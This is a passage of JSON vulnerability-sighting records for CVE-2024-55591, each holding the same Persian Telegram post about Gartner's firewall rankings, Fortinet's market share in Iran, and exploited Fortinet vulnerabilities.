"ebfaab0a-0e1c-4c16-a409-a548a23121c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://t.me/ViralCyber/26255", "content": "\ud83d\udd3c \u06af\u0632\u0627\u0631\u0634 \u062c\u062f\u06cc\u062f \u06af\u0627\u0631\u062a\u0646\u0631 \u0627\u0632 \u0645\u0642\u0627\u06cc\u0633\u0647 \u0641\u0627\u06cc\u0631\u0648\u0627\u0644\u0647\u0627 \n\ud83d\udd35\u062f\u0631 \u06af\u0632\u0627\u0631\u0634 \u062c\u062f\u06cc\u062f #\u06af\u0627\u0631\u062a\u0646\u0631 \u0645\u062d\u0635\u0648\u0644 Fortinet \u0628\u0627 \u0641\u0627\u0635\u0644\u0647 \u0642\u0627\u0628\u0644\u200c\u062a\u0648\u062c\u0647\u06cc \u062f\u0631 \u0628\u062e\u0634 Leaders \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a\u0647. Fortinet \u0637\u06cc \u0633\u0627\u0644\u200c\u0647\u0627\u06cc \u0627\u062e\u06cc\u0631 \u0627\u06a9\u0648\u0633\u06cc\u0633\u062a\u0645 \u06af\u0633\u062a\u0631\u062f\u0647\u200c\u0627\u06cc \u0627\u0632 FortiGate\u060c FortiManager\u060c FortiAnalyzer\u060c FortiClient \u0648 FortiSASE \u0633\u0627\u062e\u062a\u0647 \u0648 FortiGate \u062f\u0631 \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u0634\u0628\u06a9\u0647\u200c\u0647\u0627\u06cc Enterprise \u0648 \u062f\u06cc\u062a\u0627\u0633\u0646\u062a\u0631\u0647\u0627 \u0628\u0647 \u06cc\u06a9\u06cc \u0627\u0632 \u06af\u0632\u06cc\u0646\u0647\u200c\u0647\u0627\u06cc \u0627\u0635\u0644\u06cc \u062a\u0628\u062f\u06cc\u0644 \u0634\u062f\u0647 \u0627\u0633\u062a.\n\ud83d\udd35\u062f\u0631 \u0627\u06cc\u0631\u0627\u0646 \u0646\u06cc\u0632 FortiGate \u062d\u0636\u0648\u0631 \u0628\u0633\u06cc\u0627\u0631 \u067e\u0631\u0631\u0646\u06af\u06cc \u062f\u0627\u0631\u062f \u0648 \u062a\u062e\u0645\u06cc\u0646 \u0632\u062f\u0647 \u0645\u06cc\u0634\u0648\u062f \u0628\u06cc\u0634\u062a\u0631\u06cc\u0646 \u0633\u0647\u0645 \u0627\u0632 \u0628\u0627\u0632\u0627\u0631 \u0641\u0627\u06cc\u0631\u0648\u0627\u0644 \u062f\u0631 \u0627\u06cc\u0631\u0627\u0646 \u0645\u062a\u0639\u0644\u0642 \u0628\u0647 Fortinet \u0627\u0633\u062a. \u0647\u0645\u06cc\u0646 \u0645\u062d\u0628\u0648\u0628\u06cc\u062a \u0648 \u0633\u0647\u0645 \u0628\u0627\u0632\u0627\u0631 \u0628\u0627\u0644\u0627\u060c Fortinet \u0631\u0627 \u0628\u0647 \u06cc\u06a9 \u0647\u062f\u0641 \u0628\u0633\u06cc\u0627\u0631 \u062c\u0630\u0627\u0628 \u0628\u0631\u0627\u06cc \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0647\u0645 \u062a\u0628\u062f\u06cc\u0644 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a.\n\ud83d\udd35\u062f\u0631 \u0686\u0646\u062f \u0633\u0627\u0644 \u0627\u062e\u06cc\u0631 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u06cc \u0645\u0647\u0645 \u0645\u062a\u0639\u062f\u062f\u06cc \u062f\u0631 FortiOS\u060c FortiProxy \u0648 FortiManager \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647\u200c\u0627\u0646\u062f\u061b \u0627\u0632 \u062c\u0645\u0644\u0647 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0627\u0645\u06a9\u0627\u0646 Authentication Bypass\u060c Remote Code Execution \u0648 \u062a\u0635\u0627\u062d\u0628 \u062f\u0633\u062a\u0631\u0633\u06cc \u0645\u062f\u06cc\u0631\u06cc\u062a\u06cc \u0631\u0627 \u0641\u0631\u0627\u0647\u0645 \u0645\u06cc\u200c\u06a9\u0631\u062f\u0646\u062f \u0648 \u0628\u0639\u0636\u06cc \u0627\u0632 \u0622\u0646\u0647\u0627 \u0631\u0633\u0645\u0627\u064b \u0648\u0627\u0631\u062f \u0641\u0647\u0631\u0633\u062a \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u06cc Exploited-in-the-Wild \u0622\u0698\u0627\u0646\u0633 CISA \u0634\u062f\u0647\u200c\u0627\u0646\u062f\u061b \u0645\u0627\u0646\u0646\u062f CVE-2024-21762\u060c CVE-2024-55591 \u0648 CVE-2025-24472. \n\ud83d\udd35\u0627\u06af\u0631 \u0628\u0647 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc\u0647\u0627\u06cc \u0641\u0631\u0627\u0648\u0627\u0646 \u0645\u062d\u0635\u0648\u0644\u0627\u062a FortiGate \u062a\u0648\u062c\u0647 \u06a9\u0627\u0641\u06cc \u0646\u0634\u0648\u062f \u0646\u0647 \u062a\u0646\u0647\u0627 \u0627\u06cc\u0646 \u0641\u0627\u06cc\u0631\u0648\u0627\u0644 \u062a\u0627\u0645\u06cc\u0646 \u06a9\u0646\u0646\u062f\u0647 \u0627\u0645\u0646\u06cc\u062a \u0633\u0627\u0632\u0645\u0627\u0646 \u0646\u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f \u0628\u0644\u06a9\u0647 \u062a\u0628\u062f\u06cc\u0644 \u0628\u0647 \u0646\u0642\u0637\u0647 \u0646\u0641\u0648\u0630 \u0628\u0647 \u0633\u0627\u0632\u0645\u0627\u0646 \u062e\u0648\u0627\u0647\u062f \u0634\u062f. \u0634\u0631\u06a9\u062a Fortinet \u0628\u0647\u200c\u0637\u0648\u0631 \u0645\u0633\u062a\u0645\u0631 Advisory\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc FortiOS \u0648 \u0633\u0627\u06cc\u0631 \u0645\u062d\u0635\u0648\u0644\u0627\u062a\u0634 \u0631\u0627 \u0645\u0646\u062a\u0634\u0631 \u0645\u06cc\u200c\u06a9\u0646\u062f. (fortiguard.com)\n\ud83d\udd35\u062f\u0631 \u0628\u062e\u0634 Leader\u0647\u0627 \u0646\u0627\u0645 Palo Alto \u0647\u0645 \u062f\u06cc\u062f\u0647 \u0645\u06cc \u0634\u0648\u062f \u06a9\u0647 \u0633\u0647\u0645 \u0628\u0633\u06cc\u0627\u0631 \u06a9\u0645\u06cc \u062f\u0631 \u0628\u0627\u0632\u0627\u0631 \u0627\u06cc\u0631\u0627\u0646 \u062f\u0627\u0631\u062f. \u0647\u0645\u0686\u0646\u06cc\u0646 \u0633\u0647\u0645 \u0628\u0631\u0646\u062f Check Point \u0627\u0633\u0631\u0627\u0626\u06cc\u0644\u06cc \u0647\u0645 \u062f\u0631 \u0628\u0627\u0632\u0627\u0631 \u0627\u06cc\u0631\u0627\u0646 \u062a\u0642\u0631\u06cc\u0628\u0627 \u0635\u0641\u0631 \u0627\u0633\u062a.  \n#Fortinet #FortiGate #Firewall #NetworkSecurity #CyberSecurity #FortiOS #\u0627\u0645\u0646\u06cc\u062a_\u0634\u0628\u06a9\u0647 #\u0627\u0645\u0646\u06cc\u062a_\u0633\u0627\u06cc\u0628\u0631\u06cc\n\n\ud83d\udcf1 @PingChannel \n\u062e\u0628\u0631\u060c \u062a\u062d\u0644\u06cc\u0644\u060c \u0627\u0646\u062a\u0642\u0627\u062f - \u0641\u0646\u0627\u0648\u0631\u06cc \u0627\u0637\u0644\u0627\u0639\u0627\u062a\n\ud83c\udd70\ufe0f\ud83c\udd70\ufe0f\ud83c\udd70\ufe0f\ud83c\udd70\ufe0f", "creation_timestamp": "2026-09-16T09:00:03.933651Z"}, {"uuid": "132effae-22ee-4cc3-beb3-a42c5e1322d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "exploited", "source": "https://t.me/ViralCyber/26255", "content": "\ud83d\udd3c \u06af\u0632\u0627\u0631\u0634 \u062c\u062f\u06cc\u062f \u06af\u0627\u0631\u062a\u0646\u0631 \u0627\u0632 \u0645\u0642\u0627\u06cc\u0633\u0647 \u0641\u0627\u06cc\u0631\u0648\u0627\u0644\u0647\u0627 \n\ud83d\udd35\u062f\u0631 \u06af\u0632\u0627\u0631\u0634 \u062c\u062f\u06cc\u062f #\u06af\u0627\u0631\u062a\u0646\u0631 \u0645\u062d\u0635\u0648\u0644 Fortinet \u0628\u0627 \u0641\u0627\u0635\u0644\u0647 \u0642\u0627\u0628\u0644\u200c\u062a\u0648\u062c\u0647\u06cc \u062f\u0631 \u0628\u062e\u0634 Leaders \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a\u0647. Fortinet \u0637\u06cc \u0633\u0627\u0644\u200c\u0647\u0627\u06cc \u0627\u062e\u06cc\u0631 \u0627\u06a9\u0648\u0633\u06cc\u0633\u062a\u0645 \u06af\u0633\u062a\u0631\u062f\u0647\u200c\u0627\u06cc \u0627\u0632 FortiGate\u060c FortiManager\u060c FortiAnalyzer\u060c FortiClient \u0648 FortiSASE \u0633\u0627\u062e\u062a\u0647 \u0648 FortiGate \u062f\u0631 \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u0634\u0628\u06a9\u0647\u200c\u0647\u0627\u06cc Enterprise \u0648 \u062f\u06cc\u062a\u0627\u0633\u0646\u062a\u0631\u0647\u0627 \u0628\u0647 \u06cc\u06a9\u06cc \u0627\u0632 \u06af\u0632\u06cc\u0646\u0647\u200c\u0647\u0627\u06cc \u0627\u0635\u0644\u06cc \u062a\u0628\u062f\u06cc\u0644 \u0634\u062f\u0647 \u0627\u0633\u062a.\n\ud83d\udd35\u062f\u0631 \u0627\u06cc\u0631\u0627\u0646 \u0646\u06cc\u0632 FortiGate \u062d\u0636\u0648\u0631 \u0628\u0633\u06cc\u0627\u0631 \u067e\u0631\u0631\u0646\u06af\u06cc \u062f\u0627\u0631\u062f \u0648 \u062a\u062e\u0645\u06cc\u0646 \u0632\u062f\u0647 \u0645\u06cc\u0634\u0648\u062f \u0628\u06cc\u0634\u062a\u0631\u06cc\u0646 \u0633\u0647\u0645 \u0627\u0632 \u0628\u0627\u0632\u0627\u0631 \u0641\u0627\u06cc\u0631\u0648\u0627\u0644 \u062f\u0631 \u0627\u06cc\u0631\u0627\u0646 \u0645\u062a\u0639\u0644\u0642 \u0628\u0647 Fortinet \u0627\u0633\u062a. \u0647\u0645\u06cc\u0646 \u0645\u062d\u0628\u0648\u0628\u06cc\u062a \u0648 \u0633\u0647\u0645 \u0628\u0627\u0632\u0627\u0631 \u0628\u0627\u0644\u0627\u060c Fortinet \u0631\u0627 \u0628\u0647 \u06cc\u06a9 \u0647\u062f\u0641 \u0628\u0633\u06cc\u0627\u0631 \u062c\u0630\u0627\u0628 \u0628\u0631\u0627\u06cc \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0647\u0645 \u062a\u0628\u062f\u06cc\u0644 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a.\n\ud83d\udd35\u062f\u0631 \u0686\u0646\u062f \u0633\u0627\u0644 \u0627\u062e\u06cc\u0631 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u06cc \u0645\u0647\u0645 \u0645\u062a\u0639\u062f\u062f\u06cc \u062f\u0631 FortiOS\u060c FortiProxy \u0648 FortiManager \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647\u200c\u0627\u0646\u062f\u061b \u0627\u0632 \u062c\u0645\u0644\u0647 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0627\u0645\u06a9\u0627\u0646 Authentication Bypass\u060c Remote Code Execution \u0648 \u062a\u0635\u0627\u062d\u0628 \u062f\u0633\u062a\u0631\u0633\u06cc \u0645\u062f\u06cc\u0631\u06cc\u062a\u06cc \u0631\u0627 \u0641\u0631\u0627\u0647\u0645 \u0645\u06cc\u200c\u06a9\u0631\u062f\u0646\u062f \u0648 \u0628\u0639\u0636\u06cc \u0627\u0632 \u0622\u0646\u0647\u0627 \u0631\u0633\u0645\u0627\u064b \u0648\u0627\u0631\u062f \u0641\u0647\u0631\u0633\u062a \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u06cc Exploited-in-the-Wild \u0622\u0698\u0627\u0646\u0633 CISA \u0634\u062f\u0647\u200c\u0627\u0646\u062f\u061b \u0645\u0627\u0646\u0646\u062f CVE-2024-21762\u060c CVE-2024-55591 \u0648 CVE-2025-24472. \n\ud83d\udd35\u0627\u06af\u0631 \u0628\u0647 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc\u0647\u0627\u06cc \u0641\u0631\u0627\u0648\u0627\u0646 \u0645\u062d\u0635\u0648\u0644\u0627\u062a FortiGate \u062a\u0648\u062c\u0647 \u06a9\u0627\u0641\u06cc \u0646\u0634\u0648\u062f \u0646\u0647 \u062a\u0646\u0647\u0627 \u0627\u06cc\u0646 \u0641\u0627\u06cc\u0631\u0648\u0627\u0644 \u062a\u0627\u0645\u06cc\u0646 \u06a9\u0646\u0646\u062f\u0647 \u0627\u0645\u0646\u06cc\u062a \u0633\u0627\u0632\u0645\u0627\u0646 \u0646\u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f \u0628\u0644\u06a9\u0647 \u062a\u0628\u062f\u06cc\u0644 \u0628\u0647 \u0646\u0642\u0637\u0647 \u0646\u0641\u0648\u0630 \u0628\u0647 \u0633\u0627\u0632\u0645\u0627\u0646 \u062e\u0648\u0627\u0647\u062f \u0634\u062f. \u0634\u0631\u06a9\u062a Fortinet \u0628\u0647\u200c\u0637\u0648\u0631 \u0645\u0633\u062a\u0645\u0631 Advisory\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc FortiOS \u0648 \u0633\u0627\u06cc\u0631 \u0645\u062d\u0635\u0648\u0644\u0627\u062a\u0634 \u0631\u0627 \u0645\u0646\u062a\u0634\u0631 \u0645\u06cc\u200c\u06a9\u0646\u062f. (fortiguard.com)\n\ud83d\udd35\u062f\u0631 \u0628\u062e\u0634 Leader\u0647\u0627 \u0646\u0627\u0645 Palo Alto \u0647\u0645 \u062f\u06cc\u062f\u0647 \u0645\u06cc \u0634\u0648\u062f \u06a9\u0647 \u0633\u0647\u0645 \u0628\u0633\u06cc\u0627\u0631 \u06a9\u0645\u06cc \u062f\u0631 \u0628\u0627\u0632\u0627\u0631 \u0627\u06cc\u0631\u0627\u0646 \u062f\u0627\u0631\u062f. \u0647\u0645\u0686\u0646\u06cc\u0646 \u0633\u0647\u0645 \u0628\u0631\u0646\u062f Check Point \u0627\u0633\u0631\u0627\u0626\u06cc\u0644\u06cc \u0647\u0645 \u062f\u0631 \u0628\u0627\u0632\u0627\u0631 \u0627\u06cc\u0631\u0627\u0646 \u062a\u0642\u0631\u06cc\u0628\u0627 \u0635\u0641\u0631 \u0627\u0633\u062a.  \n#Fortinet #FortiGate #Firewall #NetworkSecurity #CyberSecurity #FortiOS #\u0627\u0645\u0646\u06cc\u062a_\u0634\u0628\u06a9\u0647 #\u0627\u0645\u0646\u06cc\u062a_\u0633\u0627\u06cc\u0628\u0631\u06cc\n\n\ud83d\udcf1 @PingChannel \n\u062e\u0628\u0631\u060c \u062a\u062d\u0644\u06cc\u0644\u060c \u0627\u0646\u062a\u0642\u0627\u062f - \u0641\u0646\u0627\u0648\u0631\u06cc \u0627\u0637\u0644\u0627\u0639\u0627\u062a\n\ud83c\udd70\ufe0f\ud83c\udd70\ufe0f\ud83c\udd70\ufe0f\ud83c\udd70\ufe0f", "creation_timestamp": "2026-09-17T01:00:04.742924Z"}]}